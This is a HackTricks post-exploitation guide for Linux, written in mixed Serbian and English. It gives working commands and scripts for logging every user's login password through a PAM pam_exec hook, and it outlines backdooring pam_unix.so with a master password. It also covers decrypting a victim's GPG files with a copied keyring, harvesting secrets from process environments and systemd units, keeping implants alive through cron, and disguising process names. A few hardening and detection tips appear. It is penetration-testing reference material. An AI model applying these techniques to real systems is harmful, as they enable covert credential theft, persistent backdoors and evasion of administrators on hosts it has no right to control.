Linux Post-Exploitation
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Sniffing Logon Passwords with PAM
Hajde da konfigurišemo PAM modul da beleži svaku lozinku koju korisnik unese pri prijavi. Ako ne znate šta je PAM, proverite:
PAM - Pluggable Authentication Modules
Za više detalja pogledajte originalni post. Ovo je samo sažetak:
Pregled tehnike: Pluggable Authentication Modules (PAM) omogućavaju fleksibilnost u upravljanju autentifikacijom na sistemima zasnovanim na Unixu. Mogu poboljšati bezbednost prilagođavanjem procesa prijave, ali takođe predstavljaju rizik ako se zloupotrebe. Ovaj sažetak opisuje tehniku za hvatanje kredencijala za prijavu koristeći PAM, zajedno sa strategijama ublažavanja.
Hvatanje kredencijala:
- Napravljena je bash skripta nazvana
toomanysecrets.shkoja loguje pokušaje prijave, beležeći datum, korisničko ime ($PAM_USER), lozinku (preko stdin) i IP udaljenog hosta ($PAM_RHOST) u/var/log/toomanysecrets.log. - Skripta se učini izvršnom i integriše u PAM konfiguraciju (
common-auth) koristeći modulpam_exec.sosa opcijama da radi tiho i izloži autentifikacioni token skripti. - Pristup pokazuje kako kompromitovan Linux host može biti iskorišćen za diskretno beleženje kredencijala.
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh
Backdooring PAM
Za više detalja pogledajte original post. Ovo je samo sažetak:
Pluggable Authentication Module (PAM) je sistem koji se koristi na Linuxu za autentifikaciju korisnika. Radi na tri glavna koncepta: username, password, i service. Konfiguracioni fajlovi za svaki service se nalaze u direktorijumu /etc/pam.d/, gde shared libraries obrađuju autentifikaciju.
Cilj: Izmeniti PAM da dozvoli autentifikaciju sa specifičnim password-om, zaobilazeći stvarni korisnički password. Ovo se posebno fokusira na pam_unix.so shared library koji koristi common-auth fajl, koji je uključen od strane skoro svih services za verifikaciju password-a.
Steps for Modifying pam_unix.so:
- Locate the Authentication Directive in the
common-authfile:
- Linija koja je odgovorna za proveru korisnikovog password-a poziva
pam_unix.so.
- Modify Source Code:
- Dodajte uslovnu izjavu u
pam_unix_auth.csource fajl koja odobrava pristup ako se koristi unapred definisani password, u suprotnom nastavlja uobičajen proces autentifikacije.
- Recompile and Replace the modified
pam_unix.solibrary in the appropriate directory. - Testing:
- Pristup je odobren preko raznih services (login, ssh, sudo, su, screensaver) sa unapred definisanim password-om, dok normalni procesi autentifikacije ostaju nepromenjeni.
Tip
You can automate this process with https://github.com/zephrax/linux-pam-backdoor
Decrypting GPG loot via homedir relocation
Ako nađete enkriptovani .gpg fajl i korisnikov ~/.gnupg folder (pubring, private-keys, trustdb) ali ne možete da dešifrujete zbog GnuPG homedir permissions/locks, kopirajte keyring na mesto gde imate write pristup i koristite ga kao svoj GPG home.
Tipične greške koje ćete videti bez ovoga: “unsafe ownership on homedir”, “failed to create temporary file”, ili “decryption failed: No secret key” (jer GPG ne može da čita/piše originalni homedir).
Workflow:
# 1) Stage a writable homedir and copy the victim's keyring
mkdir -p /dev/shm/fakehome/.gnupg
cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/
# 2) Ensure ownership & perms are sane for gnupg
chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg
chmod 700 /dev/shm/fakehome/.gnupg
# 3) Decrypt using the relocated homedir (either flag works)
GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
# or
gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg
Ako je materijal tajnog ključa prisutan u private-keys-v1.d, GPG će otključati i dekriptovati bez traženja passphrase-a (ili će tražiti ako je ključ zaštićen).
Harvesting credentials from process environment (containers included)
Kada dobijete code execution unutar servisa, proces često nasledi osetljive environment variables. To su rudnik za lateral movement.
Quick wins
- Dump your current process env:
envorprintenv - Dump another process env:
tr '\0' '\n' </proc/<PID>/environ | sed -n '1,200p' - Add
strings -z /proc/<PID>/environiftr/sedaren’t handy - In containers, also check PID 1:
tr '\0' '\n' </proc/1/environ
What to look for
- App secrets and admin creds (for example, Grafana sets
GF_SECURITY_ADMIN_USER,GF_SECURITY_ADMIN_PASSWORD) - API keys, DB URIs, SMTP creds, OAuth secrets
- Proxy and TLS overrides:
http_proxy,https_proxy,SSL_CERT_FILE,SSL_CERT_DIR
Notes
- Many orchestrations pass sensitive settings via env; they are inherited by children and exposed to any arbitrary shell you spawn inside the process context.
- In some cases, those creds are reused system-wide (e.g., same username/password valid for SSH on the host), enabling an easy pivot.
Systemd-stored credentials in unit files (Environment=)
Servisi koje pokreće systemd mogu upisati kredencijale u unit fajlove kao Environment= unose. Nabrojte i izdvojite ih:
# Unit files and drop-ins
ls -la /etc/systemd/system /lib/systemd/system
# Grep common patterns
sudo grep -R "^Environment=.*" /etc/systemd/system /lib/systemd/system 2>/dev/null | sed 's/\x00/\n/g'
# Example of a root-run web panel
# [Service]
# Environment="BASIC_AUTH_USER=root"
# Environment="BASIC_AUTH_PWD=<password>"
# ExecStart=/usr/bin/crontab-ui
# User=root
Operativni artefakti često leak lozinke (npr., backup skripte koje pozivaju zip -P <pwd>). Te vrednosti se često ponovo koriste u internim web UI-ima (Basic-Auth) ili drugim servisima.
Hardening
- Premestite tajne u namenska skladišta (
systemd-ask-password,EnvironmentFilesa zaključanim permisijama, ili eksterni secret managers) - Izbegavajte ubacivanje creds u unit fajlove; radije koristite drop-in fajlove čitljive samo root-u i uklonite ih iz version control
- Rotirajte leaked lozinke otkrivene tokom testova
Cron-based persistence with loopback mutex
- Kopirajte implantate u više writable putanja (
/tmp,/var/tmp,/dev/shm,/run/lock) i instalirajte cron unose kao*/5 * * * * /tmp/<bin>tako da se ponovo pokrenu čak i ako su uklonjeni negde drugo. - Obezbedite single-instance izvršavanje tako što ćete bind-ovati fiksni loopback port (na primer,
127.0.0.1:51125ili127.0.0.1:52225) i izaći akobind()ne uspe;ss -lntp | grep -E '51125|52225'će otkriti mutex listener. - Operateri mogu povremeno masovno ubijati svaki proces čiji
cmdlinesadrži ime droppera (npr.init_stop), pa ponovno korišćenje tih imena tokom analize može dovesti do kolizije; birajte jedinstvena imena fajlova.
Process masquerading via prctl + argv overwrite
- Podesite kratko ime procesa pomoću
prctl(PR_SET_NAME, "<label>")(ograničenje od 15 bajtova zacomm), često nainit, tako da/proc/<pid>/statusi GUI prikažu bezopasan label. - Prepišite in-memory
argv[0]buffer nakon čitanja dužine/proc/self/cmdlinei pokazivačaargv[0], popunjavajući NUL-ovima tako da i/proc/<pid>/cmdlineipsprikažu lažni label. - Tražite poređenjem
Name:u/proc/<pid>/statussa stvarnom putanjom izvršnog fajla i gledajući loopback mutex listenere koje poseduju procesi sa malim/praznim cmdline-ovima.
References
- 0xdf – HTB Planning (Grafana env creds reuse, systemd BASIC_AUTH)
- alseambusher/crontab-ui
- 0xdf – HTB Environment (GPG homedir relocation to decrypt loot)
- GnuPG Manual – Home directory and GNUPGHOME
- Inside GoBruteforcer: AI-generated server defaults, weak passwords, and crypto-focused campaigns
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.


